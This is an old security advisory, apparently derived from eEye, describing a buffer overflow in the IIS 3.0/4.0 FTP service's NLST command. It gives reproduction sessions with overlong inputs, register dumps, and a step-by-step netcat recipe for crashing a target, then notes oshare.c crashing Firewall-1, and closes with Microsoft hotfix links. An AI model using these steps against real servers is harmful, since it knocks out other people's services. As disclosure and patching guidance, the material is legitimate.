COMMAND
IIS and FW-1
SYSTEMS AFFECTED
Win 9.x and NT with IIS 3.0 and 4.0
PROBLEM
Following is based on eEye Digital Security Team Advisory.
Microsoft IIS (Internet Information Server) FTP service contains a
buffer overflow in the NLST command. This could be used to DoS a
remote machine and in some cases execute code remotely. Lets look
at the following example attack. The server must either have
anonymous access rights or an attacker must have an account. To
reproduce following please note that using NT4's ftp.exe will not
help you. If you look at what NT4's ftp.exe does... it does not
send the ls command correctly therefore its not going to work. If
you would like to test the overflow I suggest two things. Use
NT5's ftp.exe or write your own code.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
The server has now processed our long NLST request and has crashed.
-> ftp: get :Connection reset by peer
Our ftp client looses connection... that is a given.
The above example uses 316 characters to overflow. This is the
smallest possible buffer to pass that will overflow IIS. Lets
take a look at the server side happenings. On the server side we
have an "Application Error" message for inetinfo.exe. "The
instruction at '0x710f8aa2' referenced memory at '0x41414156'.
The memory could not be 'read'." If we take a look at our
registers we will see the following:
EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206
There is no 41 hex (Our overflow character) in any of registers so
we chalk this up as a DoS attack for now. Lets move on and take a
look at the largest string we can pass to overflow IIS.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
The server must either have anonymous access rights or an attacker
must have an account.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.
In this case we passed 505 characters to overflow IIS. This is the
largest possible (tested) buffer to pass that will overflow IIS.
Lets take a look once again at the server side. On the server we
have the same "Application Error" message for inetinfo.exe except
this time "The instruction at '0x722c9262' referenced memory at
"0x41414141'." This is looking mighty interesting. Lets look at
our registers once again:
EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246
There sure are a lot of 41 hex codes in our registers now. So to
wrap it all up what we have here is a DoS attack against any IIS
server with ftp access. Keep in mind we have to be able to login.
However, Anonymous access is granted on most servers. Once we have
overflowed IIS all IIS services will fail. (I.E. The web service,
NNTP, SMTP etc..)
Btw, without programming knowledge and NT5's ftp.exe, try
following:
1.) Connect to port 21 of the target machine using netcat
2.) send: USER anonymous
3.) send: PASS root@
4.) send: PORT w,x,y,z,122,105
where w,x,y,z is the IP address of the machine performing
the attack. The 122,105 part means to connect to port
31337 on the attacking machine.
5.) In a different window or on another terminal use netcat to
listen on the attacker's machine, port 31337. (nc -l -p
31337)
6.) send: NLST AAAAAAAA... (316 A's)
7.) Inetinfo.exe on the target machine should crash.
You have to send a valid PORT command, and be listening on the
port, for the service to crash. If you don't send a valid PORT
command and listen for the connection, the FTP service will just
disconnect you.
Adding to the info, let's mention following. One tester
reproduced the IIS bug with NT4 SP4 IIS 4.0 from the option pack
CD and no hot fixes. It didn't error out, however, it did behave
rather differently than so far described. *All* of the virtual
web servers stopped (6-7 running) and needed to be restarted.
Interesting thing is that the machine that ran the exploit on
didn't restart right away, but did after about 10 minutes.
Dorqus Maximus added following. This oshare.c code crashed his
Checkpoint Firewall-1, version 3.0b, Build Number: 3083. (Sun
Sparc, Solaris 2.5.1). After running it he lost internet
connectivity and saw the following on the console of our firewall
server:
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
FW-1: packet size too big (131060) from 0x01010101, ip_p=17
The machine could not be soft booted and need to be hard booted
(power cycled).
SOLUTION
Microsoft has posted hot fixes to address this problem. Please
note that all of these patches are designed to be applied atop
Windows NT (r) 4.0 SP4:
- Fix for X86 version of IIS 3.0:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls3i.exe
- Fix for Alpha version of IIS 3.0:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls3a.exe
- Fix for X86 version of IIS 4.0:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls4i.exe
- Fix for Alpha version of IIS 4.0:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/ftpls-fix/ftpls4a.exe